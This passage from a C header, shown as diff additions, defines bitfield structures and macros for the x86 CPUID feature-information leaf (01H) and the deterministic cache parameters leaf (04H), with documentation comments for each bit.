18] set + * + * [Bit 27] A value of 1 indicates that the OS has set CR4.OSXSAVE[bit 18] to enable XSETBV/XGETBV instructions to access + * XCR0 and to support processor extended state management using XSAVE/XRSTOR. + */ + uint32_t osx_save : 1; +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_BIT 27 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_FLAG 0x8000000 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE(_) (((_) >> 27) & 0x01) + + /** + * @brief AVX instruction extensions support + * + * [Bit 28] A value of 1 indicates the processor supports the AVX instruction extensions. + */ + uint32_t avx_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_BIT 28 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_FLAG 0x10000000 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT(_) (((_) >> 28) & 0x01) + + /** + * @brief 16-bit floating-point conversion instructions support + * + * [Bit 29] A value of 1 indicates that processor supports 16-bit floating-point conversion instructions. + */ + uint32_t half_precision_conversion_instructions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_BIT 29 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_FLAG 0x20000000 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS(_) (((_) >> 29) & 0x01) + + /** + * @brief RDRAND instruction support + * + * [Bit 30] A value of 1 indicates that processor supports RDRAND instruction. + */ + uint32_t rdrand_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_BIT 30 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_FLAG 0x40000000 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION(_) (((_) >> 30) & 0x01) + uint32_t reserved2 : 1; + }; + + uint32_t flags; + } cpuid_feature_information_ecx; + + /** + * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX + */ + union + { + struct + { + /** + * @brief Floating Point Unit On-Chip + * + * [Bit 0] The processor contains an x87 FPU. + */ + uint32_t floating_point_unit_on_chip : 1; +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_BIT 0 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_FLAG 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP(_) (((_) >> 0) & 0x01) + + /** + * @brief Virtual 8086 Mode Enhancements + * + * [Bit 1] Virtual 8086 mode enhancements, including CR4.VME for controlling the feature, CR4.PVI for protected mode + * virtual interrupts, software interrupt indirection, expansion of the TSS with the software indirection bitmap, and + * EFLAGS.VIF and EFLAGS.VIP flags. + */ + uint32_t virtual_8086_mode_enhancements : 1; +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_BIT 1 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_FLAG 0x02 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS(_) (((_) >> 1) & 0x01) + + /** + * @brief Debugging Extensions + * + * [Bit 2] Support for I/O breakpoints, including CR4.DE for controlling the feature, and optional trapping of accesses to + * DR4 and DR5. + */ + uint32_t debugging_extensions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_BIT 2 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_FLAG 0x04 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS(_) (((_) >> 2) & 0x01) + + /** + * @brief Page Size Extension + * + * [Bit 3] Large pages of size 4 MByte are supported, including CR4.PSE for controlling the feature, the defined dirty bit + * in PDE (Page Directory Entries), optional reserved bit trapping in CR3, PDEs, and PTEs. + */ + uint32_t page_size_extension : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_BIT 3 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_FLAG 0x08 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION(_) (((_) >> 3) & 0x01) + + /** + * @brief Time Stamp Counter + * + * [Bit 4] The RDTSC instruction is supported, including CR4.TSD for controlling privilege. + */ + uint32_t timestamp_counter : 1; +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_BIT 4 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_FLAG 0x10 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER(_) (((_) >> 4) & 0x01) + + /** + * @brief Model Specific Registers RDMSR and WRMSR Instructions + * + * [Bit 5] The RDMSR and WRMSR instructions are supported. Some of the MSRs are implementation dependent. + */ + uint32_t rdmsr_wrmsr_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_BIT 5 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_FLAG 0x20 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS(_) (((_) >> 5) & 0x01) + + /** + * @brief Physical Address Extension + * + * [Bit 6] Physical addresses greater than 32 bits are supported: extended page table entry formats, an extra level in the + * page translation tables is defined, 2-MByte pages are supported instead of 4 Mbyte pages if PAE bit is 1. + */ + uint32_t physical_address_extension : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_BIT 6 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x40 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 6) & 0x01) + + /** + * @brief Machine Check Exception + * + * [Bit 7] Exception 18 is defined for Machine Checks, including CR4.MCE for controlling the feature. This feature does not + * define the model-specific implementations of machine-check error logging, reporting, and processor shutdowns. Machine + * Check exception handlers may have to depend on processor version to do model specific processing of the exception, or + * test for the presence of the Machine Check feature. + */ + uint32_t machine_check_exception : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_BIT 7 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_FLAG 0x80 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION(_) (((_) >> 7) & 0x01) + + /** + * @brief CMPXCHG8B Instruction + * + * [Bit 8] The compare-and-exchange 8 bytes (64 bits) instruction is supported (implicitly locked and atomic). + */ + uint32_t cmpxchg8b : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_BIT 8 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_FLAG 0x100 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B(_) (((_) >> 8) & 0x01) + + /** + * @brief APIC On-Chip + * + * [Bit 9] The processor contains an Advanced Programmable Interrupt Controller (APIC), responding to memory mapped + * commands in the physical address range FFFE0000H to FFFE0FFFH (by default - some processors permit the APIC to be + * relocated). + */ + uint32_t apic_on_chip : 1; +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_BIT 9 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_FLAG 0x200 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief SYSENTER and SYSEXIT Instructions + * + * [Bit 11] The SYSENTER and SYSEXIT and associated MSRs are supported. + */ + uint32_t sysenter_sysexit_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_BIT 11 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_FLAG 0x800 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS(_) (((_) >> 11) & 0x01) + + /** + * @brief Memory Type Range Registers + * + * [Bit 12] MTRRs are supported. The MTRRcap MSR contains feature bits that describe what memory types are supported, how + * many variable MTRRs are supported, and whether fixed MTRRs are supported. + */ + uint32_t memory_type_range_registers : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_BIT 12 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_FLAG 0x1000 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS(_) (((_) >> 12) & 0x01) + + /** + * @brief Page Global Bit + * + * [Bit 13] The global bit is supported in paging-structure entries that map a page, indicating TLB entries that are common + * to different processes and need not be flushed. The CR4.PGE bit controls this feature. + */ + uint32_t page_global_bit : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_BIT 13 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_FLAG 0x2000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT(_) (((_) >> 13) & 0x01) + + /** + * @brief Machine Check Architecture + * + * [Bit 14] A value of 1 indicates the Machine Check Architecture of reporting machine errors is supported. The MCG_CAP MSR + * contains feature bits describing how many banks of error reporting MSRs are supported. + */ + uint32_t machine_check_architecture : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_BIT 14 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_FLAG 0x4000 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE(_) (((_) >> 14) & 0x01) + + /** + * @brief Conditional Move Instructions + * + * [Bit 15] The conditional move instruction CMOV is supported. In addition, if x87 FPU is present as indicated by the + * CPUID.FPU feature bit, then the FCOMI and FCMOV instructions are supported + */ + uint32_t conditional_move_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_BIT 15 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_FLAG 0x8000 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS(_) (((_) >> 15) & 0x01) + + /** + * @brief Page Attribute Table + * + * [Bit 16] Page Attribute Table is supported. This feature augments the Memory Type Range Registers (MTRRs), allowing an + * operating system to specify attributes of memory accessed through a linear address on a 4KB granularity. + */ + uint32_t page_attribute_table : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_BIT 16 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_FLAG 0x10000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE(_) (((_) >> 16) & 0x01) + + /** + * @brief 36-Bit Page Size Extension + * + * [Bit 17] 4-MByte pages addressing physical memory beyond 4 GBytes are supported with 32-bit paging. This feature + * indicates that upper bits of the physical address of a 4-MByte page are encoded in bits 20:13 of the page-directory + * entry. Such physical addresses are limited by MAXPHYADDR and may be up to 40 bits in size. + */ + uint32_t page_size_extension_36bit : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_BIT 17 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_FLAG 0x20000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT(_) (((_) >> 17) & 0x01) + + /** + * @brief Processor Serial Number + * + * [Bit 18] The processor supports the 96-bit processor identification number feature and the feature is enabled. + */ + uint32_t processor_serial_number : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_BIT 18 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_FLAG 0x40000 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER(_) (((_) >> 18) & 0x01) + + /** + * @brief CLFLUSH Instruction + * + * [Bit 19] CLFLUSH Instruction is supported. + */ + uint32_t clflush : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_BIT 19 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_FLAG 0x80000 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH(_) (((_) >> 19) & 0x01) + uint32_t reserved2 : 1; + + /** + * @brief Debug Store + * + * [Bit 21] The processor supports the ability to write debug information into a memory resident buffer. This feature is + * used by the branch trace store (BTS) and processor event-based sampling (PEBS) facilities. + * + * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] + */ + uint32_t debug_store : 1; +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_BIT 21 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_FLAG 0x200000 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE(_) (((_) >> 21) & 0x01) + + /** + * @brief Thermal Monitor and Software Controlled Clock Facilities + * + * [Bit 22] The processor implements internal MSRs that allow processor temperature to be monitored and processor + * performance to be modulated in predefined duty cycles under software control. + */ + uint32_t thermal_control_msrs_for_acpi : 1; +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_BIT 22 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_FLAG 0x400000 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI(_) (((_) >> 22) & 0x01) + + /** + * @brief Intel MMX Technology + * + * [Bit 23] The processor supports the Intel MMX technology. + */ + uint32_t mmx_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_BIT 23 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_FLAG 0x800000 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT(_) (((_) >> 23) & 0x01) + + /** + * @brief FXSAVE and FXRSTOR Instructions + * + * [Bit 24] The FXSAVE and FXRSTOR instructions are supported for fast save and restore of the floating point context. + * Presence of this bit also indicates that CR4.OSFXSR is available for an operating system to indicate that it supports + * the FXSAVE and FXRSTOR instructions. + */ + uint32_t fxsave_fxrstor_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_BIT 24 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_FLAG 0x1000000 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS(_) (((_) >> 24) & 0x01) + + /** + * @brief SSE extensions support + * + * [Bit 25] The processor supports the SSE extensions. + */ + uint32_t sse_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_BIT 25 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_FLAG 0x2000000 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT(_) (((_) >> 25) & 0x01) + + /** + * @brief SSE2 extensions support + * + * [Bit 26] The processor supports the SSE2 extensions. + */ + uint32_t sse2_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_BIT 26 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_FLAG 0x4000000 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT(_) (((_) >> 26) & 0x01) + + /** + * @brief Self Snoop + * + * [Bit 27] The processor supports the management of conflicting memory types by performing a snoop of its own cache + * structure for transactions issued to the bus. + */ + uint32_t self_snoop : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_BIT 27 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_FLAG 0x8000000 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP(_) (((_) >> 27) & 0x01) + + /** + * @brief Max APIC IDs reserved field is Valid + * + * [Bit 28] A value of 0 for HTT indicates there is only a single logical processor in the package and software should + * assume only a single APIC ID is reserved. A value of 1 for HTT indicates the value in CPUID.1.EBX[23:16] (the Maximum + * number of addressable IDs for logical processors in this package) is valid for the package. + */ + uint32_t hyper_threading_technology : 1; +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_BIT 28 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_FLAG 0x10000000 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY(_) (((_) >> 28) & 0x01) + + /** + * @brief Thermal Monitor + * + * [Bit 29] The processor implements the thermal monitor automatic thermal control circuitry (TCC). + */ + uint32_t thermal_monitor : 1; +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_BIT 29 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_FLAG 0x20000000 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR(_) (((_) >> 29) & 0x01) + uint32_t reserved3 : 1; + + /** + * @brief Pending Break Enable + * + * [Bit 31] The processor supports the use of the FERR\#/PBE\# pin when the processor is in the stop-clock state (STPCLK\# + * is asserted) to signal the processor that an interrupt is pending and that the processor should return to normal + * operation to handle the interrupt. Bit 10 (PBE enable) in the IA32_MISC_ENABLE MSR enables this capability. + */ + uint32_t pending_break_enable : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_BIT 31 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_FLAG 0x80000000 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } cpuid_feature_information_edx; + +} cpuid_eax_01; + + +/** + * @brief Deterministic Cache Parameters Leaf + * + * When CPUID executes with EAX set to 04H and ECX contains an index value, the processor returns encoded data that + * describe a set of deterministic cache parameters (for the cache level associated with the input in ECX). Valid index + * values start from 0. + * Software can enumerate the deterministic cache parameters for each level of the cache hierarchy starting with an index + * value of 0, until the parameters report the value associated with the cache type field is 0. The architecturally defined + * fields reported by deterministic cache parameters are documented in Table 3-8. + * This Cache Size in Bytes + * - = (Ways + 1) * (Partitions + 1) * (Line_Size + 1) * (Sets + 1) + * - = (EBX[31:22] + 1) * (EBX[21:12] + 1) * (EBX[11:0] + 1) * (ECX + 1) + * The CPUID leaf 04H also reports data that can be used to derive the topology of processor cores in a physical package. + * This information is constant for all valid index values. Software can query the raw data reported by executing CPUID + * with EAX=04H and ECX=0 and use it as part of the topology enumeration algorithm. + * + * @see Vol3A[8(Multiple-Processor Management)] + */ +#define CPUID_CACHE_PARAMETERS 0x00000004 +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] - 0 = Null - No more caches. + * - 1 = Data Cache. + * - 2 = Instruction Cache. + * - 3 = Unified Cache. + * - 4-31 = Reserved. + */ + uint32_t cache_type_field : 5; +#define CPUID_EAX_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EAX_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EAX_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EAX_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Cache Level (starts at 1). + */ + uint32_t cache_level : 3; +#define CPUID_EAX_CACHE_LEVEL_BIT 5 +#define CPUID_EAX_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EAX_CACHE_LEVEL_MASK 0x07 +#define CPUID_EAX_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Self Initializing cache level (does not need SW initialization). + */ + uint32_t self_initializing_cache_level : 1; +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_BIT 8 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_FLAG 0x100 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_MASK 0x01 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Fully Associative cache. + */ + uint32_t fully_associative_cache : 1; +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_BIT 9 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_FLAG 0x200 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_MASK 0x01 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this cache. + * + * @note Add one to the return value to get the result. + * The nearest power-of-2 integer that is not smaller than (1 + EAX[25:14]) is the number of unique initial APIC IDs + * reserved for addressing different logical processors sharing this cache. + */ + uint32_t max_addressable_ids_for_logical_processors_sharing_this_cache : 12; +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_BIT 14 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_FLAG 0x3FFC000 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_MASK 0xFFF +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE(_) (((_) >> 14) & 0xFFF) + + /** + * [Bits 31:26] Maximum number of addressable IDs for processor cores in the physical package. + * + * @note Add one to the return value to get the result. + * The nearest power-of-2 integer that is not smaller than (1 + EAX[31:26]) is the number of unique Core_IDs reserved for + * addressing different processor cores in a physical package. Core ID is a subset of bits of the initial APIC ID. + * The returned value is constant for valid initial values in ECX. Valid ECX values start from 0. + */ + uint32_t max_addressable_ids_for_processor_cores_in_physical_package : 6; +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_BIT 26 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_FLAG 0xFC000000 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_MASK 0x3F +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE(_) (((_) >> 26) & 0x3F) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 11:0] System Coherency Line Size. + * + * @note Add one to the return value to get the result. + */ + uint32_t system_coherency_line_size : 12; +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_BIT 0 +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_FLAG 0xFFF +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_MASK 0xFFF +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE(_) (((_) >> 0) & 0xFFF) + + /** + * [Bits 21:12] Physical Line partitions. + * + * @note Add one to the return value to get the result. + */ + uint32_t physical_line_partitions : 10; +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_BIT 12 +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_FLAG 0x3FF000 +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_MASK 0x3FF +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS(_) (((_) >> 12) & 0x3FF) + + /** + * [Bits 31:22] Ways of associativity. + * + * @note Add one to the return value to get the result. + */ + uint32_t ways_of_associativity : 10; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_BIT 22 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_FLAG 0xFFC00000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_MASK 0x3FF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY(_) (((_) >> 22) & 0x3FF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + * + * @note Add one to the return value to get the result. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * @brief Write-Back Invalidate/Invalidate + * + * [Bit 0] - 0 = WBINVD/INVD from threads sharing this cache acts upon lower level caches for threads sharing this cache. + * - 1 = WBINVD/INVD is not guaranteed to act upon lower level caches of non-originating threads sharing this cache. + */ + uint32_t write_back_invalidate : 1; +#define CPUID_EDX_WRITE_BACK_INVALIDATE_BIT 0 +#define CPUID_EDX_WRITE_BACK_INVALIDATE_FLAG 0x01 +#define CPUID_EDX_WRITE_BACK_INVALIDATE_MASK 0x01 +#define CPUID_EDX_WRITE_BACK_INVALIDATE(_) (((_) >> 0) & 0x01) + + /** + * @brief Cache Inclusiveness + * + * [Bit 1] - 0 = Cache is not inclusive of lower cache levels. + * - 1 = Cache is inclusive of lower cache levels. + */ + uint32_t cache_inclusiveness : 1; +#define CPUID_EDX_CACHE_INCLUSIVENESS_BIT 1 +#define CPUID_EDX_CACHE_INCLUSIVENESS_FLAG 0x02 +#define CPUID_EDX_CACHE_INCLUSIVENESS_MASK 0x01 +#define CPUID_EDX_CACHE_INCLUSIVENESS(_) (((_) >> 1) & 0x01) + + /** + * @brief Complex Cache Indexing + * + * [Bit 2] - 0 = Direct mapped cache. + * - 1 = A complex function is used to index the cache, potentially using all address bits. + */ + uint32_t complex_cache_indexing : 1; +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_BIT 2 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_FLAG 0x04 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_MASK 0x01 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 29; + }; + + uint32_t flags; + } edx; + 